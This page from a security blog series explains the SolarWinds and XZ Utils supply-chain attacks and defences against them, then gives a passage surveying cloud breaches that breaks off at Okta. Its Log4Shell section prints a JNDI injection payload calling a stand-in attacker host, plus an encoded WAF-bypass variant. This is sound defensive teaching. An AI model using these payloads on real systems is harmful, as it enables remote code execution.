XZ Utils

Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense

by
Reading Time: 14 minutes

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes container escape → Supply Chain Attacks

TL;DR

  • Supply chain attack detection is OWASP A06 + A08: attackers compromise the software build or distribution chain so that legitimate, signed artifacts deliver malicious payloads — standard vulnerability scanning misses this entirely
  • SolarWinds (December 2020): threat actors compromised the Orion build system in March 2020, waited eight months, inserted the SUNBURST backdoor into a digitally signed update, and reached 18,000+ organizations including the U.S. Treasury, DHS, and DoD
  • XZ Utils (CVE-2024-3094, March 2024): the “Jia Tan” persona spent two years building open-source credibility before inserting a backdoor into release tarballs — the backdoor was not in the git repo, only in the distributed tarball (release tarball = the compressed archive that Linux distributions download to build the package — separate from the git source tree)
  • The XZ backdoor targeted liblzma, which is linked into sshd via systemd on affected distros — a compromised SSH daemon on every major Linux distribution was days away from shipping
  • Detection relied on human observation: Andres Freund noticed a 500ms SSH connection delay during unrelated benchmarking, traced it with strace, and found sshd making unexpected calls into liblzma
  • The structural fix is a pipeline: pin dependencies with hashes + private artifact registry + SBOM generation + image signing with Sigstore/cosign — each layer catches a different attack class

OWASP Mapping: A06 Vulnerable and Outdated Components — compromised upstream dependencies. A08 Software and Data Integrity Failures — build artifacts not signed or verified; release tarball content not validated against source.

The Big Picture

┌──────────────────────────────────────────────────────────────────────────┐
│                  SUPPLY CHAIN ATTACK SURFACE                             │
│                                                                          │
│   SOURCE REPO          BUILD SYSTEM         ARTIFACT REGISTRY           │
│   github.com/org  ──▶  CI/CD pipeline  ──▶  container registry / PyPI  │
│        │                    │                      │                     │
│        │                    │                      │                     │
│   ATTACK POINT 1:      ATTACK POINT 2:       ATTACK POINT 3:            │
│   Social engineer      Compromise the        Typosquatting /             │
│   maintainer trust     build host            dependency confusion        │
│   (XZ model)           (SolarWinds model)    (public registry model)    │
│        │                    │                      │                     │
│        └────────────────────┴──────────────────────┘                    │
│                             │                                            │
│                    COMPROMISED ARTIFACT                                  │
│             (signed, valid, ships with legitimate release)               │
│                             │                                            │
│                             ▼                                            │
│        PRODUCTION SYSTEMS (18,000 orgs / every major Linux distro)      │
│                                                                          │
│   ═══════════════════════════════════════════════════════════════        │
│   DETECTION PIPELINE                                                     │
│   Hash pinning + SBOM + Sigstore verify + tarball ≠ git diff check      │
│   Each layer catches a different attack class                            │
└──────────────────────────────────────────────────────────────────────────┘

Supply chain attack detection is hard because the artifact being delivered is legitimate by every traditional check: it is signed by the vendor, it passes antivirus, it resolves from the correct registry. The attack happened before the artifact was packaged, inside the trust chain you already approved. SolarWinds and XZ Utils are not anomalies — they are the template.

Two Incidents — Same Attack Surface

SolarWinds (December 2020)

The SolarWinds compromise is the definitive build-system attack. The timeline:

March 2020       Threat actor (UNC2452 / Cozy Bear) gains access to
                 SolarWinds build environment

October 2020     SUNBURST backdoor code inserted into SolarWinds Orion
                 build process — not into the source repository

October 2020     Orion 2019.4 through 2020.2.1 builds produced with
                 SUNBURST included — binaries digitally signed by
                 SolarWinds with their valid code-signing certificate

October–         SUNBURST distributed to ~18,000 customers via the
December 2020    legitimate Orion software update mechanism

December 2020    FireEye detects SUNBURST while investigating their own
                 breach — reports to SolarWinds and CISA

What made detection almost impossible:

The compiled binary passed every integrity check a customer would run. It was signed with SolarWinds’ legitimate certificate. It installed via the normal software update channel. The SUNBURST code itself was designed for low observability: it dormant for 12–14 days after installation, used legitimate SolarWinds API patterns to blend with normal Orion traffic, and used legitimate cloud infrastructure (Avsvmcloud.com, which resolved to valid cloud provider IPs) for command-and-control.

The C2 communication was disguised as standard Orion telemetry. Exfiltration was slow — the attackers were not bulk-extracting data, they were selecting targets and moving laterally only inside high-value organizations.

The attack vector was the build system, not source code. SolarWinds source repositories did not contain SUNBURST. The attacker modified the compiled output at build time. A code review of the SolarWinds source would have found nothing.

XZ Utils (CVE-2024-3094, March 2024)

The XZ Utils compromise is more instructive because it was social engineering at the package maintainer level, caught before it shipped widely — and the catch was accidental.

Timeline:

November 2021    GitHub user "Jia Tan" (JiaT75) makes first commit to
                 xz-utils repository

2022–2023        Jia Tan steadily contributes quality patches to xz-utils,
                 builds trust with maintainer Lasse Collin, is eventually
                 granted commit access

Early 2024       Jia Tan accelerates commit activity, coordinates social
                 pressure on Lasse Collin from other fake personas to
                 push releases faster

February 2024    Jia Tan releases xz 5.6.0 — backdoor code inserted in
                 the release tarball build process (not in git commits)

March 9, 2024    xz 5.6.1 released with minor obfuscation changes

March 28–29,     Andres Freund (PostgreSQL/Microsoft engineer) notices
2024             500ms SSH connection delay on his Debian sid machine
                 while running unrelated Valgrind benchmarks

March 29, 2024   Freund traces the delay with strace, finds sshd making
                 unexpected calls into liblzma, reports to oss-security
                 mailing list

March 30, 2024   CISA advisory published. Fedora 40 beta, Debian unstable,
                 openSUSE Tumbleweed had all shipped the affected version.
                 Ubuntu 24.04 LTS was in freeze and had it staged.

What was backdoored and how:

xz-utils provides the liblzma compression library. On systemd-based Linux distributions, sshd links against libsystemd, which links against liblzma. The backdoor hooked into sshd‘s RSA key processing — specifically RSA_public_decrypt — to allow authentication bypass using a specific attacker-controlled private key.

The backdoor was not in the git repository. It was injected during the tarball release process via obfuscated test files in the repository that were assembled and compiled during the build. Comparing the released tarball to the git tree reveals extra files and code that do not appear in any git commit:

xz --version
# 5.6.0 or 5.6.1 = affected; 5.4.x = safe

# How Andres Freund found it
# He was running sshd benchmarks and noticed unexpected latency
strace -p $(pgrep sshd) 2>&1 | head -20
# Saw unexpected calls into liblzma that should not be there
# Normal sshd does not call into liblzma at all

# Verify tarball vs git diff (the forensic check)
# If you have both the tarball and git source:
tar xf xz-5.6.1.tar.gz
git clone https://github.com/tukaani-project/xz.git xz-git
diff -r xz-5.6.1/ xz-git/
# Extra files in the tarball that don't appear in git = compromise indicator

What makes this attack class so dangerous:

The actor ran a multi-year operation. Two years of legitimate contributions, relationship-building with maintainers, and social pressure coordination across multiple fake personas. The code quality was good — Jia Tan’s legitimate commits improved xz-utils. The backdoor code was technically sophisticated enough that it took days of analysis to fully reverse-engineer after Freund’s discovery.

Red Phase: How Supply Chain Attacks Work in Practice

There are three distinct attack surfaces. They require different defenses and catch different attack classes.

1. Build System Compromise (SolarWinds Model)

The attacker gains access to the CI/CD or build host and modifies compiled artifacts. The source code is clean. Git history is clean. Only the build output is poisoned.

What makes it hard to catch: legitimate signing certificate, normal distribution channel, artifact passes all integrity checks that consumers run.

Simulation (safe to run in a test environment):

# Understand your build artifact's provenance
# Can you trace a production binary back to a specific source commit?

# For a Docker image: inspect build metadata
docker inspect your-org/your-image:latest | \
  jq '.[0].Config.Labels'
# Look for: org.opencontainers.image.revision (git SHA)
#           org.opencontainers.image.source (repo URL)
# If these labels are absent, you cannot verify what source built this image

# For a Go binary: read embedded build info
go version -m /path/to/binary
# Shows: Go version, module path, dependencies with versions and hashes
# If -trimpath was used during build, some info may be stripped

# Check if a container image was built from a known CI workflow
# (assumes SLSA provenance attestation is present)
cosign verify-attestation \
  --type slsaprovenance \
  --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
  your-org/your-image:latest | \
  jq -r '.payload | @base64d | fromjson | .predicate.buildType'

2. Dependency Hijacking: Typosquatting and Dependency Confusion

Typosquatting: a malicious package on PyPI/npm with a name close to a popular package (requets vs requests, djano vs django). Developers with a typo in their requirements.txt install the malicious package.

Dependency confusion: a private internal package (mycompany-utils) has the same name as a package you upload to the public registry with a higher version number. Package managers that check public registries before private ones will resolve the public (malicious) version.

# Test for dependency confusion: can your private package names be
# resolved from the public registry?
# Do this in a throwaway environment, NOT production

# For Python: check if your internal package name exists on PyPI
pip index versions your-internal-package-name 2>/dev/null
# If it returns versions and you didn't publish it there = confusion risk

# For npm: check if your scoped package exists on the public registry
npm view @your-scope/your-package version 2>/dev/null
# An unscoped internal package with a public registry hit = confusion risk

# For pip: audit your requirements for known-bad packages
pip-audit --requirement requirements.txt
# pip-audit checks against the OSV vulnerability database
# Install: pip install pip-audit

# For npm: audit for both vulnerabilities and signature issues
npm audit
npm audit signatures
# 'npm audit signatures' verifies that packages in node_modules were
# signed with registry-issued keys — catches tampered downloads

3. Maintainer Compromise and Social Engineering (XZ Model)

The hardest attack class to detect from the outside. A trusted maintainer is either compromised or is the attacker. Their commits are signed, their track record is legitimate, the package comes from the canonical repository.

What you can check:

# Verify a PyPI package hash matches what's listed in the index
# The hash listed on PyPI is set at upload time — if the file was
# replaced after upload, the hash would change (PyPI prevents this,
# but private/mirror registries may not)
pip download requests==2.31.0 --no-deps --dest /tmp/pkg-check/
sha256sum /tmp/pkg-check/requests-2.31.0-py3-none-any.whl
# Compare to the hash shown at pypi.org/project/requests/2.31.0/#files

# Check npm package signatures (post-XZ hygiene)
npm audit signatures
# Output shows: verified (good), missing (not signed), invalid (tampered)

# For containers: verify Sigstore signature
cosign verify \
  --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
  ghcr.io/your-org/your-image:latest
# If this fails: the image was not built by the expected GitHub Actions workflow

Blue Phase: Detection

SLSA: What Level Your Pipeline Should Be At

SLSA (Supply chain Levels for Software Artifacts) is a framework for build pipeline integrity. Four levels:

SLSA Level 1  Build process is scripted/automated, produces provenance
              Most teams can reach this today
              Catches: accidental modifications, basic auditability

SLSA Level 2  Build runs on a hosted, version-controlled build platform
              (GitHub Actions, GitLab CI) — provenance is signed by the
              build platform, not just the developer
              Catches: developer workstation compromise

SLSA Level 3  Hermetic builds — the build environment is isolated from
              the network, cannot pull external resources at build time
              Provenance is non-forgeable
              Catches: build-time dependency injection, most CI/CD attacks

SLSA Level 4  (deprecated in SLSA v1.0, merged into L3)

Most teams should target SLSA Level 2 now, Level 3 within 6 months.
Level 3 is where SolarWinds-class attacks become detectable.

Container Image Signing with Sigstore/cosign

# Sign a container image after build (in CI, using OIDC — no stored key)
# This runs inside GitHub Actions after the docker push step
cosign sign \
  --yes \
  ghcr.io/your-org/your-image:${GITHUB_SHA}
# cosign uses the GitHub Actions OIDC token to sign — no private key needed
# The signature is stored in the registry alongside the image

# Verify the signature and check the certificate claims
cosign verify \
  --certificate-identity="https://github.com/your-org/your-repo/.github/workflows/build.yml@refs/heads/main" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
  ghcr.io/your-org/your-image:latest | \
  jq '.[0] | {
    issuer: .optional.Issuer,
    workflow: .optional.BuildSignerURI,
    repo: .optional.SourceRepositoryURI,
    ref: .optional.SourceRepositoryRef
  }'
# A passing verification means:
# - Image was built by a specific GitHub Actions workflow
# - In a specific repository, on a specific branch
# - At a specific time (cert has a 10-minute TTL)

SBOM Generation and Vulnerability Scanning

An SBOM (Software Bill of Materials) enumerates every component in a software artifact. Without an SBOM, you cannot answer “are we affected by the XZ backdoor?” across your fleet in under an hour.

# Generate an SBOM for a container image using syft
syft your-org/your-image:latest -o cyclonedx-json > sbom.json
# syft walks the image layers and catalogs every package,
# including OS packages (rpm/deb), language packages (pip/npm/go),
# and their versions

# Inspect what syft found
cat sbom.json | jq '.components[] | select(.name == "xz-libs") | {name, version, purl}'
# Example output:
# {
#   "name": "xz-libs",
#   "version": "5.4.4-1.el9",    ← 5.4.x = safe; 5.6.0/5.6.1 = backdoored
#   "purl": "pkg:rpm/redhat/[email protected]?arch=x86_64"
# }

# Scan the SBOM for known vulnerabilities
grype sbom:./sbom.json
# grype checks each component against Grype's vulnerability database
# (CVE, GHSA, OSV) — would have flagged CVE-2024-3094 once published

# Automate: generate SBOM and scan in CI, fail build if critical CVEs found
grype sbom:./sbom.json --fail-on critical

Build Provenance with GitHub Actions (SLSA Level 2/3)

# .github/workflows/build.yml
# Adds SLSA provenance attestation to every release artifact
name: Build and attest

on:
  push:
    tags: ["v*"]

permissions:
  contents: write
  id-token: write       # Required for OIDC signing
  attestations: write   # Required for GitHub attestation API

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image-digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@v4

      - name: Build and push container image
        id: push
        uses: docker/build-push-action@v5
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}

      - name: Generate SLSA provenance attestation
        uses: actions/attest-build-provenance@v1
        with:
          subject-name: ghcr.io/${{ github.repository }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
          # This generates a signed SLSA provenance statement that records:
          # - Which workflow built this artifact
          # - The git SHA it was built from
          # - The trigger event
          # Stored alongside the image in the registry

# Verify the attestation against an image
gh attestation verify \
  oci://ghcr.io/your-org/your-image:latest \
  --owner your-org
# Passes: image provenance is traceable to a specific workflow run
# Fails: image was built and pushed outside any attested workflow

What Anomaly Detection Catches

Sigstore and SBOM scanning catch known-bad artifacts. Anomaly detection catches behavior that hasn’t been classified yet:

  • Unexpected external connections during build: a hermetic build should make zero network calls after dependency fetch. Any egress during the build phase is a signal — a compromised build tool phoning home, a dependency pulling a secondary payload at install time
  • Artifact hash drift: if the same source commit produces different binary output on two consecutive builds, the build environment is non-deterministic at best, compromised at worst. Reproducible builds produce identical byte-for-byte output from identical inputs — hash drift indicates something in the build environment changed
  • New dependency additions without PR: any dependency that appears in a build artifact but was not added via a reviewed pull request is an anomaly. SBOMs make this comparison possible; without them it is invisible
# Check for unexpected network connections during a build
# Run this on the build host during a CI job
ss -tnp | grep -E "(ESTABLISHED|SYN_SENT)"
# Any connection to an IP outside your artifact registry and SCM = investigate

# Compare artifact hashes across two builds of the same commit
# (tests build reproducibility)
docker pull ghcr.io/your-org/your-image@sha256:<first-build-digest>
docker pull ghcr.io/your-org/your-image@sha256:<second-build-digest>
# If the digests differ for the same source commit, investigate

Purple Phase: Structural Fixes

1. Pin Dependencies with Hashes — Not Just Versions

Version pinning (requests==2.31.0) pins the version number. The package maintainer can yank and re-upload that version with different content on some registries. Hash pinning locks the exact file bytes:

# requirements.txt — hash-pinned
requests==2.31.0 \
    --hash=sha256:58cd2187423839e4e2d07f6f16c9cd680e74d6066237a4e1e88f06fc4a3e2e56 \
    --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1
# Two hashes because the package ships both a wheel and a source tarball
# pip verifies the downloaded file matches one of these hashes before installing

# Generate hash-pinned requirements from a working environment
pip-compile --generate-hashes requirements.in --output-file requirements.txt
# pip-compile resolves the full dependency tree and writes pinned+hashed output

For containers, pin base images by digest, not by tag:

# Vulnerable: mutable tag
FROM python:3.11-slim

# Secure: pinned digest
FROM python:3.11-slim@sha256:6a37af1bde8be89040f70b9e93f2f61b5f14e99d7e49f9ea3dc7ded2e1c82f7b
# The digest is immutable — this exact image layer will always be fetched,
# regardless of what the 3.11-slim tag points to in the future

2. Private Artifact Registry — No Direct PyPI or npm in Production CI

A private registry (Artifactory, Nexus, AWS CodeArtifact, Google Artifact Registry) proxies upstream registries and caches approved packages. Benefits:

  • Dependency confusion protection: your CI resolves mycompany-utils from your private registry first, never from public PyPI
  • Availability independence: a PyPI outage does not break your builds
  • Audit trail: every package version pulled in every build is logged
  • Policy enforcement: you can block packages with unacceptable licenses or CVE scores
# Configure pip to use a private registry proxy exclusively
# In ci/pip.conf or as environment variable
export PIP_INDEX_URL="https://your-artifactory.company.com/artifactory/api/pypi/pypi-virtual/simple/"
export PIP_TRUSTED_HOST="your-artifactory.company.com"
# No direct PyPI access — all packages go through your registry proxy

# For npm: configure registry in .npmrc
echo "registry=https://your-artifactory.company.com/artifactory/api/npm/npm-virtual/" > .npmrc
echo "always-auth=true" >> .npmrc

3. Reproducible Builds — Same Input Produces Same Output

Reproducible builds allow independent verification: a third party can take the same source and build environment and produce a byte-for-byte identical artifact. If the published artifact does not match, something changed between source and distribution.

This is exactly how the XZ tarball compromise would have been caught earlier with proper tooling: the release tarball did not match what would be produced by checking out the git tag and running the build.

# For Go: builds are reproducible by default in Go 1.13+
# Verify by building twice and comparing
go build -o binary-1 ./cmd/...
go build -o binary-2 ./cmd/...
sha256sum binary-1 binary-2
# Identical hashes = reproducible

# For containers with BuildKit: use --no-cache and compare digests
DOCKER_BUILDKIT=1 docker build --no-cache -t test-1 .
DOCKER_BUILDKIT=1 docker build --no-cache -t test-2 .
docker inspect test-1 test-2 | jq '.[].Id'
# Identical IDs = reproducible build environment

# SOURCE_DATE_EPOCH forces reproducible timestamps (common reproducibility blocker)
export SOURCE_DATE_EPOCH=$(git log -1 --format=%ct)
make  # or whatever your build command is

4. Separate Build and Release Environments

SolarWinds built and signed in the same compromised environment. The build environment had signing keys. An attacker who owns the build host owns the signing operation.

INSECURE:                           SECURE:

Build host ──▶ compile              Build host ──▶ compile
           ──▶ sign artifact                   ──▶ output unsigned artifact
           ──▶ publish                                    │
                                                          ▼
                                    Separate signing host (air-gapped or HSM)
                                                    ──▶ verify artifact hash
                                                    ──▶ sign with HSM key
                                                    ──▶ publish signed artifact

In practice: signing keys should live in a hardware security module (HSM) or KMS, not on the build host. The build produces an artifact hash; the signing service receives only the hash, not the full artifact, and signs it with the HSM-protected key. Build host compromise does not yield the signing key.

5. SBOM in Every Release — Non-Negotiable

If you cannot enumerate what is in your artifact, you cannot answer supply chain compromise questions. When CVE-2024-3094 dropped, every organization with an SBOM could query it in minutes. Organizations without one had to manually inspect every container image and every deployed system.

# Attach SBOM to a container image as an attestation (stored in registry)
syft ghcr.io/your-org/your-image:latest -o cyclonedx-json | \
  cosign attest \
    --predicate /dev/stdin \
    --type cyclonedx \
    ghcr.io/your-org/your-image:latest
# The SBOM is now stored alongside the image and signed with OIDC credentials

# Later: retrieve and search the SBOM
cosign verify-attestation \
  --type cyclonedx \
  --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
  ghcr.io/your-org/your-image:latest | \
  jq -r '.payload | @base64d | fromjson | .predicate.components[] | 
    select(.name == "xz-libs") | {name, version}'

⚠ Production Gotchas

Hash pinning breaks automated dependency update workflows. When you pin with hashes, tools like Dependabot and Renovate still open PRs, but they must also update the hashes. This works — both tools support hash pinning — but you must configure them explicitly. Without hash update support in your automation, developers will remove pinning to unblock themselves.

SLSA Level 3 requires hermetic builds — most teams are not ready. Hermetic means the build process makes no network calls during compilation (all dependencies fetched in a prior, logged step). Most existing CI pipelines fetch dependencies during the build step. Reaching SLSA Level 3 requires restructuring your pipeline into explicit fetch → build phases. Start at Level 2 (hosted, signed provenance) and treat Level 3 as a 6-month target.

SBOMs without a query workflow are paperwork. Generating an SBOM with syft and storing it somewhere is the easy part. The useful part is having a process to query all SBOMs across your fleet within minutes of a new CVE. Without that query infrastructure, you have documentation, not detection capability.

Cosign verify fails silently if no signature exists. By default, if an image has no cosign signature, cosign verify returns an error — which is correct. But in a Kubernetes admission webhook that enforces signing (e.g., Kyverno, OPA/Gatekeeper), an unsigned image must be an explicit policy violation, not a webhook error that gets bypassed by a fail-open configuration. Always run admission webhooks in fail-closed mode.

Tarball vs git diff requires automation. Manually diffing every release tarball against its git tag is not sustainable. The XZ compromise would have been caught earlier if distributions had automated this check as part of their packaging workflow. Tools like diffoscope can automate the comparison; integrating it into your package intake process is the structural fix.

Quick Reference

Attack Vector Detection Signal Fix
Build system compromise (SolarWinds) Artifact hash drift; unexpected egress during build; tarball ≠ git diff SLSA Level 3 hermetic builds; separate signing environment
Maintainer social engineering (XZ) Tarball ≠ git diff; SBOM shows unexpected dependency; anomalous sshd syscalls Reproducible builds; tarball verification in package intake
Dependency confusion Package resolves from public registry instead of private Private artifact registry with scoped package names
Typosquatting pip-audit / npm audit signatures findings Private registry; automated dependency scanning in CI
Unsigned container image cosign verify fails; no attestation in registry Sigstore/cosign in CI; fail-closed admission webhook

Key Takeaways

  • Supply chain attacks bypass perimeter security entirely — the attacker delivers malware through a channel you already trust, signed by a certificate you already trust, via an update mechanism you already approve
  • SolarWinds was caught by a downstream victim (FireEye), not by SolarWinds’ own security team — the build environment had no integrity monitoring that could detect modification of compiled artifacts
  • XZ Utils was caught by an engineer noticing a 500ms latency anomaly during unrelated performance work, not by any security tooling — this was within days of the backdoor shipping in multiple stable Linux distribution releases
  • The detection pipeline has five layers, each catching a different attack class: hash pinning (dependency hijacking), SBOM (enumeration and CVE correlation), Sigstore signing (artifact integrity), SLSA provenance (build traceability), tarball vs git diff (source/distribution divergence)
  • Start with what you can implement this week: pip-audit or npm audit signatures in CI, syft SBOM generation on every image build, and cosign signing for any container image that reaches production — these three steps cover the most common attack classes with minimal pipeline restructuring

What’s Next

SolarWinds showed that attackers can own your build system and reach your customers’ production networks through a single trusted update. Once they have a foothold in a cloud account — whether via a compromised build artifact or any other initial access vector — the next move is lateral: cross-account IAM role chaining to escalate from a single compromised resource to your entire cloud organization. EP10 covers what that lateral movement looks like, how to detect trust relationship abuse in CloudTrail, and how to structure cross-account access so that a single compromise cannot pivot to every account you own.

Get EP10 in your inbox when it publishes → subscribe at linuxcent.com

Cloud Security Breaches 2020–2025: What Actually Got Exploited

by
Reading Time: 11 minutes

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025

TL;DR

  • Cloud security breaches from 2020 to 2025 cluster into three root causes: identity compromise, supply chain compromise, and misconfiguration — every major incident falls into at least one
  • SolarWinds (Dec 2020): build pipeline compromise — attacker signed malware with a legitimate cert (A08)
  • Log4Shell (Dec 2021): injection in a logging library present in millions of Java apps (A03)
  • Uber (Sep 2022): MFA fatigue against a contractor → hardcoded admin creds on internal share (A07 + A02)
  • CircleCI (Jan 2023): session token stolen from an engineer’s laptop → CI/CD secrets exfiltrated (A07 + A08)
  • Okta (Oct 2023): support system access via stolen credentials → customer tenant data exposed (A07)
  • XZ Utils (Apr 2024): 2-year social engineering campaign → backdoor in release tarball (A08 + A06)
  • The attack surface does not change — only the specific vector within each category

OWASP Mapping: This episode is cross-category — A01 through A10 all appear. Each breach is annotated with its primary OWASP mapping.

The Big Picture

┌────────────────────────────────────────────────────────────────────┐
│           2020–2025 BREACH TIMELINE                                │
│                                                                    │
│  Dec 2020    Dec 2021    Sep 2022    Jan 2023    Oct 2023  Apr 2024 │
│     │            │           │           │           │        │    │
│     ▼            ▼           ▼           ▼           ▼        ▼    │
│  Solar-      Log4Shell     Uber       CircleCI     Okta    XZ Utils│
│  Winds                                                             │
│                                                                    │
│  ══════════════════════════════════════════════════════════        │
│                                                                    │
│  Root Cause Categories (3 total):                                  │
│                                                                    │
│  SUPPLY CHAIN          IDENTITY               MISCONFIGURATION     │
│  SolarWinds            Uber                   Capital One (2019)   │
│  XZ Utils              Okta                   CircleCI (partial)   │
│  Log4Shell (partial)   CircleCI (initial)                          │
│                                                                    │
│  OWASP Primaries:                                                  │
│  A08 → A07 → A07 → A07/A08 → A07 → A08/A06                       │
│                                                                    │
└────────────────────────────────────────────────────────────────────┘

The cloud security breaches from 2020 to 2025 reveal a consistent pattern: attackers are not finding new classes of vulnerability. They are exploiting the same three root causes — identity, supply chain, misconfiguration — in different combinations against different technology stacks.

Why These Breaches Are the Curriculum

Every episode in this series from EP04 onward takes a specific attack path from these incidents and walks through the simulation, detection, and fix. You cannot understand the fix without understanding the breach mechanics. And you cannot understand why your detection didn’t fire without knowing what the attacker actually did.

This episode is the reference. When EP05 covers MFA fatigue, it builds on the Uber anatomy here. When EP09 covers XZ Utils, the supply chain mechanics here are the foundation.

December 2020: SolarWinds — Supply Chain at Scale

OWASP: A08 (Software and Data Integrity Failures)

SolarWinds is the incident that defined supply chain attacks for the decade. The attacker — attributed to Russia’s SVR — compromised the build environment for SolarWinds Orion IT monitoring software in early 2020. They inserted a backdoor called SUNBURST into the software build pipeline.

The mechanics:

Normal build pipeline:
  Source code → Build system → Sign with SolarWinds cert → Distribute → Customer installs

Compromised pipeline (SolarWinds):
  Source code → Build system → [SUNBURST injected here] → Sign with SolarWinds cert → Distribute → 18,000 customers install

SUNBURST was signed with SolarWinds’ legitimate Authenticode certificate. It passed signature verification. It was distributed through the normal software update mechanism. Customers with automatic updates installed it because the update was signed by a trusted vendor.

The backdoor remained dormant for 12–14 days after installation before activating. It used DGA (domain generation algorithm) to contact C2 infrastructure, disguising traffic as Orion telemetry. After the initial beaconing period, the attacker manually selected targets from the 18,000 infected environments.

Confirmed affected organizations: US Treasury, US Commerce Department, FireEye, Microsoft, Intel, Deloitte.

What a detection would have looked like:
– Unexpected outbound DNS queries to avsvmcloud.com subdomains
– Orion software making network connections outside its normal profile
– New scheduled tasks or service modifications by the Orion process

The structural failure: The build system was not isolated, not monitored for unexpected behavior, and the build process itself was not reproducible from source. A reproducible build would have made the SUNBURST injection detectable — the build output would not match the source.

December 2021: Log4Shell — Injection in a Logging Library

OWASP: A03 (Injection), A06 (Vulnerable and Outdated Components)

Log4Shell (CVE-2021-44228) is the closest thing to a universal vulnerability that existed in the 2020s. Log4j 2.x was embedded in thousands of Java applications — not as a direct dependency but as a transitive dependency, often several layers deep in the dependency tree. Developers frequently didn’t know they were running it.

The vulnerability: Log4j evaluated JNDI (Java Naming and Directory Interface) lookups embedded in logged strings. Any input that ended up in a log message could trigger a JNDI lookup:

${jndi:ldap://attacker.com/exploit}

# Log4j evaluates the expression, makes LDAP request to attacker.com
# Attacker's LDAP server responds with a Java class
# Log4j loads and executes the class
# Result: remote code execution

The attack was trivial to launch and extremely difficult to fully enumerate exposure for — because Log4j was present as a transitive dependency in components that teams didn’t know they owned.

What made it particularly bad for cloud infrastructure:
– Lambda functions, ECS containers, EKS workloads, and Elastic Beanstalk apps all potentially affected
– WAFs were initially bypassed with encoding variants (${${lower:j}ndi:...})
– The vulnerable class wasn’t in the primary JAR — it was in log4j-core, which appeared as an indirect dependency

# Find Java applications that might include log4j (rough scan — requires access to filesystems)
find / -name "log4j*.jar" -o -name "log4j-core*.jar" 2>/dev/null

# In a Kubernetes context — check running container images for log4j
kubectl get pods -A -o json | \
  jq -r '.items[].spec.containers[].image' | \
  sort -u
# Then scan each image: trivy image --severity CRITICAL <image>

The fix was patching — upgrading Log4j to 2.17.0+. The mitigation was log4j2.formatMsgNoLookups=true or removing the JndiLookup class from the classpath. Neither mitigation addressed the root cause of having an outdated component with critical CVE.

September 2022: Uber — MFA Fatigue Meets Hardcoded Credentials

OWASP: A07 (Identification and Authentication Failures), A02 (Cryptographic Failures)

The Uber breach is a clean illustration of attack chaining: one authentication failure enables discovery of a second authentication failure.

Minute-by-minute anatomy:

  1. Attacker purchases Uber contractor credentials on a criminal marketplace (or phishes them directly)
  2. Contractor has MFA enrolled — Duo push notifications
  3. Attacker initiates login repeatedly, triggering Duo push notifications to contractor’s phone
  4. Contractor rejects 3–4 push notifications
  5. Attacker sends WhatsApp message to contractor’s phone: “Hi, this is IT support. We’re having an issue with your account. Please accept the next Duo notification.”
  6. Contractor accepts
  7. Attacker is in

From inside the Uber network, the attacker found a network share accessible to contractors. On that share: a PowerShell script. In that script: hardcoded admin credentials for Thycotic, Uber’s privileged access management (PAM) system.

With Thycotic admin access, the attacker retrieved credentials for: AWS, GCP, GSuite, VMware, Slack, HackerOne. Full internal access.

The two failures:
– A07: Push-notification MFA that can be defeated by social engineering + fatigue
– A02: Admin credentials in a plaintext PowerShell script on a network share

# Detect MFA fatigue attempts in Okta logs (if Okta is the IdP)
# Query: multiple MFA push rejections followed by acceptance within short window
# In Okta System Log API:
curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \
  "https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\"user.authentication.auth_via_mfa\"&since=2024-01-01T00:00:00Z" | \
  jq '[.[] | select(.outcome.result == "FAILURE")] | group_by(.actor.id) | map({user: .[0].actor.displayName, failures: length}) | sort_by(.failures) | reverse | .[0:10]'

The structural fix for MFA fatigue is not user training. It is replacing push-notification MFA with phishing-resistant MFA: FIDO2 hardware keys (YubiKey) or passkeys. A hardware key requires physical presence — a WhatsApp message cannot convince a hardware key to authenticate.

January 2023: CircleCI — Session Token Theft and Secret Exfiltration

OWASP: A07 (Authentication Failures), A08 (Software and Data Integrity Failures)

CircleCI disclosed in January 2023 that an attacker had accessed customer data — specifically, environment variables, tokens, and keys stored by customers in CircleCI’s secret storage.

The attack chain:

  1. Malware on a CircleCI engineer’s laptop stole a 2FA-backed SSO session token
  2. The session token was valid and not yet expired — no MFA re-challenge for the session
  3. Attacker used the session token to access CircleCI’s internal systems
  4. From internal systems, attacker accessed the production database containing encrypted customer secrets
  5. The encryption keys were also accessible — attacker obtained both

The attack did not break encryption. It circumvented encryption by accessing the keys through internal systems that the compromised session token could reach.

What customers stored in CircleCI that was exposed:
– AWS IAM access keys and secret keys
– GitHub tokens
– DockerHub credentials
– SSH private keys
– API tokens for third-party services

The scale: CircleCI could not enumerate which customer secrets were accessed — they notified all customers with environment variables stored in the system.

# After a CI/CD platform breach: rotate all credentials that were stored there
# Start with AWS credentials — find and disable exposed access keys

# List all IAM access keys
aws iam list-users --query 'Users[].UserName' --output text | \
  tr '\t' '\n' | \
  while read user; do
    aws iam list-access-keys --user-name "$user" \
      --query "AccessKeyMetadata[].{User:'$user',Key:AccessKeyId,Status:Status,Created:CreateDate}" \
      --output table
  done

# Disable a specific access key
aws iam update-access-key \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive \
  --user-name affected-user

The structural lesson: Secrets stored in a CI/CD platform are only as secure as that platform’s internal access controls and the endpoint security of the engineers who access it. The alternative — short-lived credentials via OIDC workload identity — means no long-lived secrets exist to exfiltrate.

October 2023: Okta — Support System Compromise

OWASP: A07 (Identification and Authentication Failures)

Okta is the identity provider for thousands of organizations. An attacker who compromises Okta’s support system gains access to customer identity configurations.

